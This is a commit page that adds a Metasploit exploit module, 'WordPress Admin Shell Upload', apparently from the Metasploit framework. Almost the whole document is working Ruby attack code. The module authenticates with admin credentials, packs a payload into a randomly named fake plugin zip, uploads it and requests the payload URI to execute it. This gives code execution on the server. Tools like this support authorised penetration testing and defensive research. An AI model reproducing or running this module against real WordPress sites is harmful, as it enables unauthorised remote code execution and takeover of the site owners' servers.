Skip to content

Commit 7d30b21

Browse files
committed
Add WordPress admin shell upload module
1 parent 7e1e0f8 commit 7d30b21

File tree

1 file changed

+95
-0
lines changed

1 file changed

+95
-0
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/zip'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::FileDropper
13+
include Msf::HTTP::Wordpress
14+
15+
def initialize(info = {})
16+
super(update_info(
17+
info,
18+
'Name' => 'WordPress Admin Shell Upload',
19+
'Description' => %q{
20+
This module will generate a plugin, pack the payload into it
21+
and upload it to a server running WordPress providing valid
22+
admin credentials are used.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
28+
],
29+
'Platform' => 'php',
30+
'Arch' => ARCH_PHP,
31+
'Targets' => [['WordPress', {}]],
32+
'DefaultTarget' => 0
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
38+
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
39+
], self.class)
40+
end
41+
42+
def username
43+
datastore['USERNAME']
44+
end
45+
46+
def password
47+
datastore['PASSWORD']
48+
end
49+
50+
def referer_uri
51+
normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
52+
end
53+
54+
def generate_plugin(plugin_name, payload_name)
55+
r = Random.new
56+
plugin_script = %Q{<?php
57+
/**
58+
* Plugin Name: #{plugin_name}
59+
* Version: #{r.rand(1..20)}.#{r.rand(0..20)}.#{r.rand(0..20)}
60+
* Author: #{Rex::Text.rand_text_alpha(10)}
61+
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
62+
* License: GPL2
63+
*/
64+
?>}
65+
66+
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
67+
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
68+
zip.add_file("#{plugin_name}/#{payload_name}", payload.encoded)
69+
zip
70+
end
71+
72+
def exploit
73+
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
74+
75+
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
76+
cookie = wordpress_login(username, password)
77+
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
78+
print_good("#{peer} - Authenticated with WordPress")
79+
80+
print_status("#{peer} - Preparing payload...")
81+
plugin_name = Rex::Text.rand_text_alpha(10)
82+
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
83+
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_name)
84+
zip = generate_plugin(plugin_name, payload_name)
85+
86+
print_status("#{peer} - Uploading payload...")
87+
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
88+
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
89+
90+
print_status("#{peer} - Executing the payload at #{payload_uri}...")
91+
register_files_for_cleanup(payload_name)
92+
register_files_for_cleanup("#{plugin_name}.php")
93+
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
94+
end
95+
end

0 commit comments

Comments
 (0)